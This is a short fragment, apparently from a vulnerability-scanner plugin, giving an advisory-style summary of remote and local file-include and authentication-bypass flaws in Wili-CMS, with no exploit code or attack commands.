tag_summary = "Wili-CMS is prone to a remote and local file-include vulnerability
  because it fails to sufficiently sanitize user-supplied data.

  Exploiting this issue can allow an attacker to compromise the
  application and the underlying computer; other attacks are also
  possible.

  Wili-CMS is also prone to a Authentication Bypass which allows a
  guest to login as admin.";
